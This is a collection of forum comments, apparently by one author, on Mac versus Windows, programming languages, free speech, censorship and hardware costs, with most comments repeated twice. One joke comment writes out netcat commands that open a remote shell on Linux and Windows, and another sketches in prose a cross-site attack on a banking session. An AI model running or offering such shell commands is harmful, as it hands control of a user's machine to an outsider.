This post smells like flame-bait but I'll bite anyway:
The way Windows works might be *ingrained* in your skull but Windows before 95 didn't have a task bar so you wouldn't have learned it from before then. Even so, there have been a total of maybe 10 updates that required reboot since Leopard came out and I don't see what's so annoying about them, they all come in at the same time and require 1 reboot. I recently updated a Windows machine, first I had to update a set of packages, reboot, upgrade to latest service pack, reboot, update another set of packages, reboot (why can't they do it all at the same time).
So after 1 year you went to Vista (a system you couldn't have possibly tested out before since it wasn't out yet) and you call it just as unstable? Unless there was a problem with the machine hardware I have never seen a BSD system act up. Length of time to start up: it takes 10-15s to start up my PowerPC G5, Mac's simply don't hibernate unless you run your battery empty (which you wouldn't have on a desktop and laptops run empty batteries in sleep mode after ~7 days) and any Mac I've ever seen wakes up in about a second from sleep again, unless something was seriously wrong with your hardware.
The dock is there for the same reason as the start bar. It gives you quick access to programs, Windows is Start -> Programs -> Vendor -> Program [click], Mac is Dock -> Program [click] and if you can't read it or you have an awful mouse there is the magnification feature. As far as open documents go, click F9 (or the button for the window sorting thing) or F10 to show all the windows for the current program or F11 to clean it up to your desktop or click and hold the icon of the program on the Dock similar to how Windows groups applications and then allows you to select the window by document (although Microsoft's programs seems to deviate from all pre-defined standards even on their own platform). You can also use Alt-Tab. All these and more can be found on the Apple websites, Mac OS X for Dummies, (10, 100, 1000) tips for Mac or by reading the booklet that came with the computer or by asking anyone that has used Mac's for more than a week.
As far as organizing: I don't really want a set of documents on the bottom of my screen nor on my desktop. You can't really see anything in a huge set of documents no matter where they are organized and Windows' task bar is imho less space efficient than a single icon but you can effectively have to start up or switch between 20 programs that run. Stacks is great IF you keep your documents somewhat organized or alphabetical, I rather use it for sets of Programs (like OpenOffice, just drag it's folder in the Dock) I use Spotlight (and it has also a lot of shortcuts) to find my documents.
Stick with PHP. Just like C (and C++) sticks around for low level development, PHP also allows for low-level web development and will be here for a long time. It's also widely supported and therefore whatever you create in it will allow for greater exposure on more and especially older platforms and it has great documentation. The similarities to C syntax allow you to use IDE's that have no knowledge of PHP while most IDE's do have C support and the fact that it is targeted for web development allow you to make something halfway decent in no time. If you have more time and a good plan you can create secure web applications that scale very large (enterprisey) without the use of special libraries or going into Java deployments.
I personally hate Python because of it's lack of brackets (so it's difficult to read and doesn't allow code folding in developer tools that have no Python support) but it's widely used in the scientific community because of it's libraries. I haven't seen much websites run pure python to generate web pages. Ruby just came too late and didn't offer anything new except for the slowest experience ever and although it has some nice features it doesn't introduce anything new.
No it doesn't and it's people like you that get us in this mess too. Free speech cannot be copyrighted since free speech is (or should be) a basic human right. Copyright is (or should be) a government enforced monopoly on the arts (whether they be music, poetry, the way your device looks or paintings).
You can't copyright phrases like "I have a dream" or "vive la republique" nor can you copyright the way to organize a rally. You can try and these days you'll probably get away with it too, but it's not lawful.
Free speech is one of those sacred things that should carry a death sentence for treason for whoever tries to (repeatedly) do away with.
At the cost of American lives as well. Look up the University of Rochester's Medical Annex origin and involvement with the Manhattan Project and you'll find that experimenting on unknowing humans wasn't something they were afraid of.
This law is 11 years old and it's still squirming through the courts. For all those that say that free speech is protected by the constitution and that certain branches will do away with unconstitutional laws: here is an example of how long you can potentially have laws affecting you while you're fighting it in court.
Of course this law is unimplemented but several other laws like DMCA and Patriot Act ARE implemented and unconstitutional. It takes longer than a 2 term presidency to do away with a dead law, how long do you think it would take to repeal a law that has been in use?
Actually, people are considering stepping over to other platforms (finally) because
a) Apple has very much improved their interoperability and price points since the last major computer buying cycle (3-5 years ago, the Internet age with the G5 (greatest desktop ever but expensive) and P3-P4 (P3 was good but P4 was a disaster)). Now all those P4's are coming of age and a Mac will run your olden programs as well as new ones for both platforms.
b) Linux and even OpenOffice 3 has reached feature parity with what most Windows users are currently running (XP and Office 2000-2003) and has some of the nice things of Vista as well if you have the hardware (accelerated desktop and effects)
c) Vista is a disaster (whether it's PR or not we leave in the middle) and requires an overly expensive computer to run all it's features on. In the mean time, the economy is making people look for lower-end which has Ubuntu on netbooks, gOS on Wal-Mart's stuff or allows Apple to beat Dell in mid and high-end (good looking too) computers (especially business)
d) The geeks that most people ask about computer related stuff have some experience with either Mac/Linux and will likely recommend that as well. A few years ago, most geeks I know were still in Windows 2000-XP land whereas most (the same people) now run Linux.
e) 80% of all incoming students in the University I work at has an Apple machine and I've heard that other Universities are experiencing the same (one executive said in a meeting that within a few years we might all have to switch since all our students will want us to accept non-Microsoft digital formats too). Since students are considered the most tech-savvy in most households (where non-geeks live), most likely the parents are following their lead even if it's just to get iChat to work.
f) Whereas businesses used to be able to spend a lot in IT, now most businesses have tightened their belt, if not only in free-budget IT. CIO's and CFO's are actively looking for cheaper alternatives where before you could spend multiple thousands in server licensing without anybody asking. Also the current and incoming geek-class server admins have knowledge and experience with alternatives where before server admins were sometimes nothing but glorified accountants that worked on a really good spreadsheet in Excel once.
I prefer (for small things) one hand on the mouse (trackball) other on the keyboard. Otherwise I like to use both hands on the keyboard and even in a full GUI environment, it's easier to just put in the right key combination than search through menu's for it. The fact that those keys are standard across the Apple platform makes it even easier. Heck, some of my comments in XCode (which I use for PHP, Perl, C and C++ development) have been known to have (or won't compile because of):wq at the end (my previous editor of choice before the latest XCode)
Users want a quick, relatively efficient system for doing their stuff, rather than doing the computer's stuff.
And whether you like it or not, that way is a CLI, not a GUI or even better, a terminal that only does 'stuff' they need to do. The problem is not in whether a computer is easy to use, back in the day we had to type on a BASIC prompt to load a program like Visicalc and run it (Commodore) or even type in commands to run a GUI (cd win311; win). You just told people how to do it and they did it, heck I was 5 years old doing stuff like that (loading Mr. Do's Castle from a 5.14 floppy).
Make a document in Word 2003 and open it with Word 2004 (Mac) and it might look different. For portable documents, use a portable document format (PDF, get it) or any format that's guaranteed to look the same on any platform (HTML Strict + CSS: correctly implemented).
To answer your question: definitely possible, the people just have to remember that if it goes outside that it needs to be converted in a PORTABLE document format.
Go for Apple's solution and get an OpenLDAP with Samba compatible with AD and it will act both as an LDAP/multi-master KDC and a genuine Windows PDC. It's better than wasting my taxes trying to do it yourself, you'll get support and it can be done in less than half an hour. With EDU discount you get MacOSX Server Unlimited for $499 and you probably have a G4 or G5 somewhere to install it on (that's all it needs), if not get a Mac Mini or an iMac. You could probably drop it in your current installation and migrate it with minimal interruptions.
wrong, there is no such thing (at least affordable) as a wireless switch. a hub shares a bus effectively transfering the signal to all connected devices, the devices have to disregard the wrong signal but they can also pick it up. on a switched network that's a bit more involved. that's how wifi works. a hub can be used as a repeater but so can a good switch.
If the cracker is technical enough, yes they can. Again, you would have to have a dodgy site on one site, banking on the other (porn & banking, a good combination) then as soon as the JavaScript detects that it has access to the other page, it can start 'clicking' stuff from the other website and while you're logged in transfer $ from your account elsewhere or just request the page that has your account numbers on it and send it to a server somewhere.
Sounds like a shoddy "a first year law student dropout will be provided for you" lawyer to me then. Since the hard drive should still be part of the evidence record I would get a decent lawyer and have an 'expert' (any geek with a diploma) review it, then show them it matches a pattern of certain badware. Get NYCL to do it, the RIAA uses similar tricks and he uses similar defenses.
Actually, the GNU toolchain would be even better, it's sure more universal since I don't think there are that much binaries that you can get through apt that run directly on the processor of such device.
then IANA could ask various NICs to revoke the Certificates of AS's that do dodgy things
Sounds like a great way to implement censorship or force traffic to follow certain (compromised) routes. Simply say: Wikipedia does something dodgy, they allow free speech and free information, let's revoke their cert (since IANA can be controlled by a government).
The biggest 'problem' with all these 'old' protocols like DNS, SMTP, TCP/IP... is that they were built primarily (by the military) for allowing decentralized communication protecting against massive failures (due to atomic bombs) and secondary (as soon as the academics jumped on) to allow free communications, free speech and research (science) to flourish through open, decentralized, ungoverned communications (the message will get there one way or another) and censorship would be treated as damage and routed around.
The 'problem' is that free speech also includes spam and other 'nasty' things to go through. To protect against that you need to start censoring the communications channels. As soon as you do that you destroy the original purpose of the Internet for what? Terrorists? Children? Hackers? Not really, the only people that would be able to successfully pull that off (rerouting major traffic through their own DNS or BGP-routers) against a clean subnet would have to be large enough to influence your life or make you do what they want without being deceptive which are currently, the ones that own the lines (but they won't do it because they would instantly lose their business) on the other hand they would like to clean house so they can oversell even more without adding capacity and governments (which have proved do anything to remain in control no matter the legality).
Don't give up your free speech and the open nature of the Internet just because you are inconvenienced. If you are really inconvenienced by spam, just let the machine learn to ignore it. My mail server is set up to do so and there are wonderful tools that help you with that.
I am talking about 2GB of ECC Fully Buffered DDR2-800 RAM, the kind you see on workstations you know. You can off course always add more ram in your el-cheapo whitebox. If you want to do serious stuff you want to make sure your machine doesn't crash because of a flipped bit in the middle of a 2h scan at $500/scan or in the middle of a 120h calculation.
It's over $60 per 2GB module for a decent brand (the cheaper brands - the ones without heat sink - don't always work very well for very long) and you always need 2 modules. A 2x4GB kit (the ones you want to install so you can expand later on) cost over $250. I think that's my allowance for a whole year of coffee.
I don't know what it is with all these people saying Vista runs fine on their uber-new machine. I work in research and education we simply don't have money to spend on extra hardware to run stupid stuff. We run Mac's and we're still using mostly PowerPC G5, some with Leopard some with Tiger, 2GB of RAM in most machines. I can't afford a 8800GT or an extra 2GB of RAM just to run my OS.
We have a few Intel machines for our heavy stuff. If we buy (and we did recently buy) an 8800GT it's to run Cuda and if we buy 4G of RAM, you better have a matrix in Matlab that takes 4G of RAM. And let me tell you, 16G of ECC RAM (4x 4G) ain't exactly cheap, if I have to spare 2-4G of RAM just for the OS my boss would probably kill me.
Computers are there to be used all the fancy stuff can be there but it has to be pretty optimized so it doesn't use too much cycles on either my video or CPU. If you can't run an OS decently on a 3 year old machine it's not worth running it.
X (Unix and consequently Linux) had this in the early 90's already. It's called CTRL+ALT+F1-F4 for terminals, CTRL+ALT+F8-F12 for X-instances. I had it and used it before Mac or Windows had it. With X you can even login remotely in a display without current users noticing (something Windows Remote Desktop still can't do (unless you BUY Terminal Services).
Are you talking about client-side certificates? Or are you talking about Kerberos?
There are several ways to implement this, the easiest would be to use an SSH-like key and just send public keys to each site (whether or not automatically).
The solutions are there but just as with any other improvements to old technology (SMTP, DNS) somebody gotta start using it.
There is a big difference between what people interpret as being green. If you believed Greenpeace, we would all be back in the stone-age since everything has some type of impact on the nature. If you believe Apple and set it as a standard then all of our stuff would be more expensive, in line with the Apple products, no more $200 laptops. If you believe Dell 'green' is everything that is painted white (or black) in order to attract/detract heat or other types of radiation from certain components.
Then there are the politicians trying to define what is green and if you believe them, selling vouchers of cubic meters of carbon exhaust to 3rd world countries is their form of becoming 'green' while China and other 3rd world companies are becoming burial grounds for and are 'recycling' valuables from our dead gadgets in what they call 'green' initiatives.
A few years ago (60's-80's) becoming more environmental friendly was burning trash and putting exhaust pipes of factories higher in the sky effectively moving our problem higher. Now we've gone to burying our trash, effectively moving our problem again.
The problem in IT is that somebody could get away with valuables (data) without the original owner (the company) actually losing anything. If the cashier is short $100, that is $100 that the bank doesn't have. If you steal the data from a hard drive, the data is still there, there's now a valid copy elsewhere.
Richard Reid looks pretty white to me (he was the famous shoe bomber),
Also look up: http://en.wikipedia.org/wiki/Christian_terrorism where almost all terrorists (whether they blow up buildings or just kill people) are of the white race (Ku-Klux Klan and Aryan Nations probably wouldn't let you in if you were non-white)
Comedy Central, CMT: Pure Country, Logo, Palladia, MTV, MTV 2, MTV Hits, MTV Jams, MTV Tr3s, Nickelodeon, Noggin, Nick 2, Nicktoons, Spike, The N, TV Land, VH1, VH1 Classic, and VH1 Soul.
Except for Comedy Central (only late night) and some shows/movies at Spike nothing really to be mad about. I wish they would have taken MTV and VH1 off a long time ago, I can't see those channels making any money.
Guess we'll be hitting The Pirate Bay soon enough for a bunch of shows.
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Please execute the following as admin, type your password as requested:
sudo nc -l -p1234 -d -e bash-L
on windows:
nc -l -p1234 -d -e cmd.exe -L
Oh noes, I ownz yoo box now.
(similar things can be done with reverse ssh tunneling but you get the point)
This post smells like flame-bait but I'll bite anyway:
The way Windows works might be *ingrained* in your skull but Windows before 95 didn't have a task bar so you wouldn't have learned it from before then. Even so, there have been a total of maybe 10 updates that required reboot since Leopard came out and I don't see what's so annoying about them, they all come in at the same time and require 1 reboot. I recently updated a Windows machine, first I had to update a set of packages, reboot, upgrade to latest service pack, reboot, update another set of packages, reboot (why can't they do it all at the same time).
So after 1 year you went to Vista (a system you couldn't have possibly tested out before since it wasn't out yet) and you call it just as unstable? Unless there was a problem with the machine hardware I have never seen a BSD system act up. Length of time to start up: it takes 10-15s to start up my PowerPC G5, Mac's simply don't hibernate unless you run your battery empty (which you wouldn't have on a desktop and laptops run empty batteries in sleep mode after ~7 days) and any Mac I've ever seen wakes up in about a second from sleep again, unless something was seriously wrong with your hardware.
The dock is there for the same reason as the start bar. It gives you quick access to programs, Windows is Start -> Programs -> Vendor -> Program [click], Mac is Dock -> Program [click] and if you can't read it or you have an awful mouse there is the magnification feature. As far as open documents go, click F9 (or the button for the window sorting thing) or F10 to show all the windows for the current program or F11 to clean it up to your desktop or click and hold the icon of the program on the Dock similar to how Windows groups applications and then allows you to select the window by document (although Microsoft's programs seems to deviate from all pre-defined standards even on their own platform). You can also use Alt-Tab. All these and more can be found on the Apple websites, Mac OS X for Dummies, (10, 100, 1000) tips for Mac or by reading the booklet that came with the computer or by asking anyone that has used Mac's for more than a week.
As far as organizing: I don't really want a set of documents on the bottom of my screen nor on my desktop. You can't really see anything in a huge set of documents no matter where they are organized and Windows' task bar is imho less space efficient than a single icon but you can effectively have to start up or switch between 20 programs that run. Stacks is great IF you keep your documents somewhat organized or alphabetical, I rather use it for sets of Programs (like OpenOffice, just drag it's folder in the Dock) I use Spotlight (and it has also a lot of shortcuts) to find my documents.
Stick with PHP. Just like C (and C++) sticks around for low level development, PHP also allows for low-level web development and will be here for a long time. It's also widely supported and therefore whatever you create in it will allow for greater exposure on more and especially older platforms and it has great documentation. The similarities to C syntax allow you to use IDE's that have no knowledge of PHP while most IDE's do have C support and the fact that it is targeted for web development allow you to make something halfway decent in no time. If you have more time and a good plan you can create secure web applications that scale very large (enterprisey) without the use of special libraries or going into Java deployments.
I personally hate Python because of it's lack of brackets (so it's difficult to read and doesn't allow code folding in developer tools that have no Python support) but it's widely used in the scientific community because of it's libraries. I haven't seen much websites run pure python to generate web pages. Ruby just came too late and didn't offer anything new except for the slowest experience ever and although it has some nice features it doesn't introduce anything new.
No it doesn't and it's people like you that get us in this mess too. Free speech cannot be copyrighted since free speech is (or should be) a basic human right. Copyright is (or should be) a government enforced monopoly on the arts (whether they be music, poetry, the way your device looks or paintings).
You can't copyright phrases like "I have a dream" or "vive la republique" nor can you copyright the way to organize a rally. You can try and these days you'll probably get away with it too, but it's not lawful.
Free speech is one of those sacred things that should carry a death sentence for treason for whoever tries to (repeatedly) do away with.
At the cost of American lives as well. Look up the University of Rochester's Medical Annex origin and involvement with the Manhattan Project and you'll find that experimenting on unknowing humans wasn't something they were afraid of.
This law is 11 years old and it's still squirming through the courts. For all those that say that free speech is protected by the constitution and that certain branches will do away with unconstitutional laws: here is an example of how long you can potentially have laws affecting you while you're fighting it in court.
Of course this law is unimplemented but several other laws like DMCA and Patriot Act ARE implemented and unconstitutional. It takes longer than a 2 term presidency to do away with a dead law, how long do you think it would take to repeal a law that has been in use?
I meant at the end of my comments (which isn't bad) or somewhere in a line of code.
Actually, people are considering stepping over to other platforms (finally) because
a) Apple has very much improved their interoperability and price points since the last major computer buying cycle (3-5 years ago, the Internet age with the G5 (greatest desktop ever but expensive) and P3-P4 (P3 was good but P4 was a disaster)). Now all those P4's are coming of age and a Mac will run your olden programs as well as new ones for both platforms.
b) Linux and even OpenOffice 3 has reached feature parity with what most Windows users are currently running (XP and Office 2000-2003) and has some of the nice things of Vista as well if you have the hardware (accelerated desktop and effects)
c) Vista is a disaster (whether it's PR or not we leave in the middle) and requires an overly expensive computer to run all it's features on. In the mean time, the economy is making people look for lower-end which has Ubuntu on netbooks, gOS on Wal-Mart's stuff or allows Apple to beat Dell in mid and high-end (good looking too) computers (especially business)
d) The geeks that most people ask about computer related stuff have some experience with either Mac/Linux and will likely recommend that as well. A few years ago, most geeks I know were still in Windows 2000-XP land whereas most (the same people) now run Linux.
e) 80% of all incoming students in the University I work at has an Apple machine and I've heard that other Universities are experiencing the same (one executive said in a meeting that within a few years we might all have to switch since all our students will want us to accept non-Microsoft digital formats too). Since students are considered the most tech-savvy in most households (where non-geeks live), most likely the parents are following their lead even if it's just to get iChat to work.
f) Whereas businesses used to be able to spend a lot in IT, now most businesses have tightened their belt, if not only in free-budget IT. CIO's and CFO's are actively looking for cheaper alternatives where before you could spend multiple thousands in server licensing without anybody asking. Also the current and incoming geek-class server admins have knowledge and experience with alternatives where before server admins were sometimes nothing but glorified accountants that worked on a really good spreadsheet in Excel once.
I prefer (for small things) one hand on the mouse (trackball) other on the keyboard. Otherwise I like to use both hands on the keyboard and even in a full GUI environment, it's easier to just put in the right key combination than search through menu's for it. The fact that those keys are standard across the Apple platform makes it even easier. Heck, some of my comments in XCode (which I use for PHP, Perl, C and C++ development) have been known to have (or won't compile because of) :wq at the end (my previous editor of choice before the latest XCode)
Users want a quick, relatively efficient system for doing their stuff, rather than doing the computer's stuff.
And whether you like it or not, that way is a CLI, not a GUI or even better, a terminal that only does 'stuff' they need to do. The problem is not in whether a computer is easy to use, back in the day we had to type on a BASIC prompt to load a program like Visicalc and run it (Commodore) or even type in commands to run a GUI (cd win311; win). You just told people how to do it and they did it, heck I was 5 years old doing stuff like that (loading Mr. Do's Castle from a 5.14 floppy).
Make a document in Word 2003 and open it with Word 2004 (Mac) and it might look different. For portable documents, use a portable document format (PDF, get it) or any format that's guaranteed to look the same on any platform (HTML Strict + CSS: correctly implemented).
To answer your question: definitely possible, the people just have to remember that if it goes outside that it needs to be converted in a PORTABLE document format.
Go for Apple's solution and get an OpenLDAP with Samba compatible with AD and it will act both as an LDAP/multi-master KDC and a genuine Windows PDC. It's better than wasting my taxes trying to do it yourself, you'll get support and it can be done in less than half an hour. With EDU discount you get MacOSX Server Unlimited for $499 and you probably have a G4 or G5 somewhere to install it on (that's all it needs), if not get a Mac Mini or an iMac. You could probably drop it in your current installation and migrate it with minimal interruptions.
wrong, there is no such thing (at least affordable) as a wireless switch. a hub shares a bus effectively transfering the signal to all connected devices, the devices have to disregard the wrong signal but they can also pick it up. on a switched network that's a bit more involved. that's how wifi works. a hub can be used as a repeater but so can a good switch.
If the cracker is technical enough, yes they can. Again, you would have to have a dodgy site on one site, banking on the other (porn & banking, a good combination) then as soon as the JavaScript detects that it has access to the other page, it can start 'clicking' stuff from the other website and while you're logged in transfer $ from your account elsewhere or just request the page that has your account numbers on it and send it to a server somewhere.
Sounds like a shoddy "a first year law student dropout will be provided for you" lawyer to me then. Since the hard drive should still be part of the evidence record I would get a decent lawyer and have an 'expert' (any geek with a diploma) review it, then show them it matches a pattern of certain badware. Get NYCL to do it, the RIAA uses similar tricks and he uses similar defenses.
Actually, the GNU toolchain would be even better, it's sure more universal since I don't think there are that much binaries that you can get through apt that run directly on the processor of such device.
then IANA could ask various NICs to revoke the Certificates of AS's that do dodgy things
Sounds like a great way to implement censorship or force traffic to follow certain (compromised) routes. Simply say: Wikipedia does something dodgy, they allow free speech and free information, let's revoke their cert (since IANA can be controlled by a government).
The biggest 'problem' with all these 'old' protocols like DNS, SMTP, TCP/IP... is that they were built primarily (by the military) for allowing decentralized communication protecting against massive failures (due to atomic bombs) and secondary (as soon as the academics jumped on) to allow free communications, free speech and research (science) to flourish through open, decentralized, ungoverned communications (the message will get there one way or another) and censorship would be treated as damage and routed around.
The 'problem' is that free speech also includes spam and other 'nasty' things to go through. To protect against that you need to start censoring the communications channels. As soon as you do that you destroy the original purpose of the Internet for what? Terrorists? Children? Hackers? Not really, the only people that would be able to successfully pull that off (rerouting major traffic through their own DNS or BGP-routers) against a clean subnet would have to be large enough to influence your life or make you do what they want without being deceptive which are currently, the ones that own the lines (but they won't do it because they would instantly lose their business) on the other hand they would like to clean house so they can oversell even more without adding capacity and governments (which have proved do anything to remain in control no matter the legality).
Don't give up your free speech and the open nature of the Internet just because you are inconvenienced. If you are really inconvenienced by spam, just let the machine learn to ignore it. My mail server is set up to do so and there are wonderful tools that help you with that.
I am talking about 2GB of ECC Fully Buffered DDR2-800 RAM, the kind you see on workstations you know. You can off course always add more ram in your el-cheapo whitebox. If you want to do serious stuff you want to make sure your machine doesn't crash because of a flipped bit in the middle of a 2h scan at $500/scan or in the middle of a 120h calculation.
It's over $60 per 2GB module for a decent brand (the cheaper brands - the ones without heat sink - don't always work very well for very long) and you always need 2 modules. A 2x4GB kit (the ones you want to install so you can expand later on) cost over $250. I think that's my allowance for a whole year of coffee.
I don't know what it is with all these people saying Vista runs fine on their uber-new machine. I work in research and education we simply don't have money to spend on extra hardware to run stupid stuff. We run Mac's and we're still using mostly PowerPC G5, some with Leopard some with Tiger, 2GB of RAM in most machines. I can't afford a 8800GT or an extra 2GB of RAM just to run my OS.
We have a few Intel machines for our heavy stuff. If we buy (and we did recently buy) an 8800GT it's to run Cuda and if we buy 4G of RAM, you better have a matrix in Matlab that takes 4G of RAM. And let me tell you, 16G of ECC RAM (4x 4G) ain't exactly cheap, if I have to spare 2-4G of RAM just for the OS my boss would probably kill me.
Computers are there to be used all the fancy stuff can be there but it has to be pretty optimized so it doesn't use too much cycles on either my video or CPU. If you can't run an OS decently on a 3 year old machine it's not worth running it.
X (Unix and consequently Linux) had this in the early 90's already. It's called CTRL+ALT+F1-F4 for terminals, CTRL+ALT+F8-F12 for X-instances. I had it and used it before Mac or Windows had it. With X you can even login remotely in a display without current users noticing (something Windows Remote Desktop still can't do (unless you BUY Terminal Services).
Are you talking about client-side certificates? Or are you talking about Kerberos?
There are several ways to implement this, the easiest would be to use an SSH-like key and just send public keys to each site (whether or not automatically).
The solutions are there but just as with any other improvements to old technology (SMTP, DNS) somebody gotta start using it.
There is a big difference between what people interpret as being green. If you believed Greenpeace, we would all be back in the stone-age since everything has some type of impact on the nature. If you believe Apple and set it as a standard then all of our stuff would be more expensive, in line with the Apple products, no more $200 laptops. If you believe Dell 'green' is everything that is painted white (or black) in order to attract/detract heat or other types of radiation from certain components.
Then there are the politicians trying to define what is green and if you believe them, selling vouchers of cubic meters of carbon exhaust to 3rd world countries is their form of becoming 'green' while China and other 3rd world companies are becoming burial grounds for and are 'recycling' valuables from our dead gadgets in what they call 'green' initiatives.
A few years ago (60's-80's) becoming more environmental friendly was burning trash and putting exhaust pipes of factories higher in the sky effectively moving our problem higher. Now we've gone to burying our trash, effectively moving our problem again.
The problem in IT is that somebody could get away with valuables (data) without the original owner (the company) actually losing anything. If the cashier is short $100, that is $100 that the bank doesn't have. If you steal the data from a hard drive, the data is still there, there's now a valid copy elsewhere.
Richard Reid looks pretty white to me (he was the famous shoe bomber),
Also look up: http://en.wikipedia.org/wiki/Christian_terrorism where almost all terrorists (whether they blow up buildings or just kill people) are of the white race (Ku-Klux Klan and Aryan Nations probably wouldn't let you in if you were non-white)
Comedy Central, CMT: Pure Country, Logo, Palladia, MTV, MTV 2, MTV Hits, MTV Jams, MTV Tr3s, Nickelodeon, Noggin, Nick 2, Nicktoons, Spike, The N, TV Land, VH1, VH1 Classic, and VH1 Soul.
Except for Comedy Central (only late night) and some shows/movies at Spike nothing really to be mad about. I wish they would have taken MTV and VH1 off a long time ago, I can't see those channels making any money.
Guess we'll be hitting The Pirate Bay soon enough for a bunch of shows.